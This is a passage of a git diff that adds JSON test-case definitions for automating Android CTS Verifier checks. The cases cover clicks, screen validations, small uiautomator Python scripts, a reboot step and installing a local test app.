tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8da0fb49-86e3-4835-aff5-0b44386d846b\",\"displayText\":\"Logout\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Logout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":416.0,\"x2\":351.25,\"y2\":458.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":101.5,\"y\":423.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":78.5,\"y\":14.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"8da0fb49-86e3-4835-aff5-0b44386d846b\",\"firstText\":\"Logout\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed device info tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":405.0,\"x2\":194.0,\"y2\":441.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Managed device info tests\",\"actionId\":\"17a5b17f-db2e-43e9-aeed-b9533f6212d8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Managed device info tests\"}],\"childrenIdList\":[\"d9c81007-11d3-4591-bd29-786bb1711fa9\",\"b50df53e-f816-49d2-b907-500f3f4f3b5a\",\"b36ee844-6807-46a4-9073-3d5c83f730fd\",\"d765dbee-bf76-4874-8343-e6b8f63cf4e0\",\"17a5b17f-db2e-43e9-aeed-b9533f6212d8\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if screen back to Managed device info tests page","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.168000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/04292ddc-e958-49b5-8fd7-a4dd0cf8ff43 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/04292ddc-e958-49b5-8fd7-a4dd0cf8ff43
new file mode 100644
index 0000000..a096fa2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/04292ddc-e958-49b5-8fd7-a4dd0cf8ff43
@@ -0,0 +1 @@
+{"uuid":"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch (VR) Settings/ VR mode activity\",\"actionId\":\"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - Launch Settings (VR)\",\"actionId\":\"5334bba0-3a3c-476f-893b-05c886335d05\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/vr_action_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"5334bba0-3a3c-476f-893b-05c886335d05\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch (VR) Settings/ VR mode activity","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.286000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/048dadc7-e9b8-4451-b111-a128df8d095b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/048dadc7-e9b8-4451-b111-a128df8d095b
new file mode 100644
index 0000000..377bf9e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/048dadc7-e9b8-4451-b111-a128df8d095b
@@ -0,0 +1 @@
+{"uuid":"048dadc7-e9b8-4451-b111-a128df8d095b","details":"{\"type\":\"CompoundAction\",\"name\":\"21-Disallow remove user\",\"actionId\":\"048dadc7-e9b8-4451-b111-a128df8d095b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow remove user\",\"actionId\":\"36f3d999-5020-499b-9591-6b7ba32af914\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow remove user\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"bd638882-3332-4dfc-8713-9ba3c2ab3b58\",\"displayText\":\"Disallow remove user\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow remove user\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":502.0,\"x2\":351.25,\"y2\":544.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":80.0,\"y\":526.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":100.0,\"y\":-3.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"bd638882-3332-4dfc-8713-9ba3c2ab3b58\",\"firstText\":\"Disallow remove user\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow remove user\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":14.0,\"y1\":514.0,\"x2\":146.0,\"y2\":538.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow remove user\",\"actionId\":\"d93da041-ac93-4c0e-b5a1-3817c791ba64\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow remove user\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Create uninitialized user\",\"actionId\":\"a33932c6-168d-49b2-8313-8c0c86bd7930\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Create uninitialized user\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, managed user\",\"actionId\":\"bc6973bb-262d-4379-a5b1-a69b0893ce8f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"managed user\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if \\\"Delete User\\\" is disabled\",\"actionId\":\"324b12fb-6ad6-4c90-8804-c2338f818898\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Delete user\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Delete user\",\"actionId\":\"8fdf6e41-88aa-498b-80a4-a65d0785c983\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Delete user\"}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"36f3d999-5020-499b-9591-6b7ba32af914\",\"d93da041-ac93-4c0e-b5a1-3817c791ba64\",\"a33932c6-168d-49b2-8313-8c0c86bd7930\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"bc6973bb-262d-4379-a5b1-a69b0893ce8f\",\"324b12fb-6ad6-4c90-8804-c2338f818898\",\"8fdf6e41-88aa-498b-80a4-a65d0785c983\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"21-Disallow remove user","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.209000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/050ca8c7-6332-41f5-af2b-8a02b680bf14 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/050ca8c7-6332-41f5-af2b-8a02b680bf14
new file mode 100644
index 0000000..4bac33d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/050ca8c7-6332-41f5-af2b-8a02b680bf14
@@ -0,0 +1 @@
+{"uuid":"050ca8c7-6332-41f5-af2b-8a02b680bf14","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Location off\",\"actionId\":\"050ca8c7-6332-41f5-af2b-8a02b680bf14\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Toggle Location switch off\",\"actionId\":\"edaf4f8c-7986-4de5-8f58-c93c999f8d86\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"location\\\", MatchOption.CONTAINS).right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.text(\\\"location\\\", MatchOption.CONTAINS).right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"31d97492-1de9-41be-8213-c67eb06406b1\",\"edaf4f8c-7986-4de5-8f58-c93c999f8d86\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Location off","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.273000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/05139d97-d39c-43cd-8ad4-a276c3fcf5a6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/05139d97-d39c-43cd-8ad4-a276c3fcf5a6
new file mode 100644
index 0000000..2e9492b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/05139d97-d39c-43cd-8ad4-a276c3fcf5a6
@@ -0,0 +1 @@
+{"uuid":"05139d97-d39c-43cd-8ad4-a276c3fcf5a6","details":"{\"type\":\"CompoundAction\",\"name\":\"Select the different ringtone (downward else upward)\",\"actionId\":\"05139d97-d39c-43cd-8ad4-a276c3fcf5a6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Select the different ringtone (downward else upward)\",\"actionId\":\"c28c7dd1-c4e0-4379-9f1d-620fd21f0799\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.resource_id(\\\"com.google.android.soundpicker:id/radio_button\\\").attributes(\\\"checked\\\", \\\"true\\\").down().resource_id(\\\"com.google.android.soundpicker:id/radio_button\\\").verify_exist():\\n    d.resource_id(\\\"com.google.android.soundpicker:id/radio_button\\\").attributes(\\\"checked\\\", \\\"true\\\").down().resource_id(\\\"com.google.android.soundpicker:id/radio_button\\\").click()\\nelse:\\n    d.resource_id(\\\"com.google.android.soundpicker:id/radio_button\\\").attributes(\\\"checked\\\", \\\"true\\\").up().resource_id(\\\"com.google.android.soundpicker:id/radio_button\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/save\",\"actionId\":\"16dc79a3-fac6-429c-94e2-553bb7eb23f2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.soundpicker:id/save\"}],\"childrenIdList\":[\"c28c7dd1-c4e0-4379-9f1d-620fd21f0799\",\"16dc79a3-fac6-429c-94e2-553bb7eb23f2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Select the different ringtone (downward else upward)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.289000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06810fdd-824c-400e-bbff-edf98e42d3e8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06810fdd-824c-400e-bbff-edf98e42d3e8
new file mode 100644
index 0000000..536e4da
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06810fdd-824c-400e-bbff-edf98e42d3e8
@@ -0,0 +1 @@
+{"uuid":"06810fdd-824c-400e-bbff-edf98e42d3e8","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Policy Serialization Test\",\"actionId\":\"06810fdd-824c-400e-bbff-edf98e42d3e8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Policy Serialization Test\",\"actionId\":\"3e18326c-0ab0-4b5c-97e2-23c4482e4de1\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Policy Serialization Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d4b6b57d-dd16-4a90-869e-494e2636d63b\",\"displayText\":\"Policy Serialization Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Policy Serialization Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":400.3333333333333,\"x2\":351.3333333333333,\"y2\":442.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":90.0,\"y\":424.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":90.0,\"y\":-2.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"d4b6b57d-dd16-4a90-869e-494e2636d63b\",\"firstText\":\"Policy Serialization Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Policy Serialization Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":413.0,\"x2\":174.0,\"y2\":435.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Policy Serialization Test\",\"actionId\":\"90c813e7-af95-4c6b-89b2-573314c06890\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Policy Serialization Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/generate_policy_button\",\"actionId\":\"df3a3dc5-0cb3-4fcf-9b4d-79dbe3b0603b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/generate_policy_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/apply_policy_button\",\"actionId\":\"0f736acb-d409-477f-be74-a8b38ed6dfa3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/apply_policy_button\"},{\"type\":\"ConditionClickAction\",\"name\":\"Enable Device Admin if need\",\"actionId\":\"ab748be0-96e8-41da-b653-74ddea69cbc9\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.settings:id/action_button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8a8e0c80-a83d-406f-a8a1-502efa4b4579\",\"displayText\":\"Activate this device admin app\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"b5b63536-d25a-4e79-8af5-e9d4db5edccc\",\"displayText\":\"Activate this device admin app\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/action_button\",\"text\":\"Activate this device admin app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":563.0,\"x2\":197.66666666666666,\"y2\":598.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.166666666666671,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Activate this device admin app\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/restricted_action\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":563.0,\"x2\":197.66666666666666,\"y2\":598.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":105.0,\"y\":579.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.166666666666671,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b5b63536-d25a-4e79-8af5-e9d4db5edccc\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.settings:id/action_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":11.0,\"y1\":568.0,\"x2\":199.0,\"y2\":591.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, OK button\",\"actionId\":\"25e9858c-9d42-4ac2-b99c-db9a6edfbcec\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"RebootAction\",\"name\":\"REBOOT and wait 50 secs\",\"actionId\":\"f8ddd12f-bcbe-45fb-9c45-bfe0c06ab8f0\",\"actionType\":\"REBOOT_ACTION\",\"createdBy\":\"pololee\",\"onlyReconnectToDevice\":false,\"reconnectTimeInSec\":50},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Policy Serialization Test\",\"actionId\":\"e4bd07c3-0323-4d9d-acaf-2c5fc0cb8348\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Policy Serialization Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ec8dda74-5b69-450a-b283-1a41c70c3d4f\",\"displayText\":\"Policy Serialization Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Policy Serialization Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":430.3333333333333,\"x2\":351.3333333333333,\"y2\":472.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":91.0,\"y\":455.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":89.0,\"y\":-3.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"ec8dda74-5b69-450a-b283-1a41c70c3d4f\",\"firstText\":\"Policy Serialization Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Policy Serialization Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":440.0,\"x2\":173.0,\"y2\":470.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Policy Serialization Test\",\"actionId\":\"3ff291b9-485f-4d28-9a0c-d3a33e36dda7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Policy Serialization Test\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"3e18326c-0ab0-4b5c-97e2-23c4482e4de1\",\"90c813e7-af95-4c6b-89b2-573314c06890\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"df3a3dc5-0cb3-4fcf-9b4d-79dbe3b0603b\",\"0f736acb-d409-477f-be74-a8b38ed6dfa3\",\"ab748be0-96e8-41da-b653-74ddea69cbc9\",\"25e9858c-9d42-4ac2-b99c-db9a6edfbcec\",\"f8ddd12f-bcbe-45fb-9c45-bfe0c06ab8f0\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"e4bd07c3-0323-4d9d-acaf-2c5fc0cb8348\",\"3ff291b9-485f-4d28-9a0c-d3a33e36dda7\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\",\"b531da69-1e61-4e75-a6b1-7e005df80c7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Policy Serialization Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.049000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06b95829-83ea-43e3-9620-11c733b49b41 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06b95829-83ea-43e3-9620-11c733b49b41
new file mode 100644
index 0000000..97dc563
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06b95829-83ea-43e3-9620-11c733b49b41
@@ -0,0 +1 @@
+{"uuid":"06b95829-83ea-43e3-9620-11c733b49b41","details":"{\"type\":\"CompoundAction\",\"name\":\"New_16-2_Cross profile permission control\",\"actionId\":\"06b95829-83ea-43e3-9620-11c733b49b41\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Cross profile permission control\",\"actionId\":\"d0cefde3-2f89-4efe-a1f3-e407dca53524\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Cross profile permission control\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"39ae01e0-2b04-4c70-b816-4cc40c5852a9\",\"displayText\":\"Cross profile permission control\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Cross profile permission control\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":414.6666666666667,\"x2\":360.0,\"y2\":458.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":113.0,\"y\":436.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":67.0,\"y\":0.16666666666668561,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"39ae01e0-2b04-4c70-b816-4cc40c5852a9\",\"firstText\":\"Cross profile permission control\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Cross profile permission control\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":226.0,\"y1\":444.0,\"x2\":0.0,\"y2\":429.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Cross profile permission control\",\"actionId\":\"c5f5247e-c278-42d9-8f82-41a80627e856\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Cross profile permission control\"},{\"type\":\"CommandLineAction\",\"name\":\"install CrossProfileTestApp apk\",\"actionId\":\"350e266c-1377-48bb-b91e-8e00f2497dee\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"commandLine\":\"install -r -t $uicd_crossprofile_app_path\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/prepare_test_button\",\"actionId\":\"921eb4e5-1a6a-4b3d-b6ed-7d46dc8a9c7b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/prepare_test_button\"},{\"type\":\"ClickAction\",\"name\":\"Click 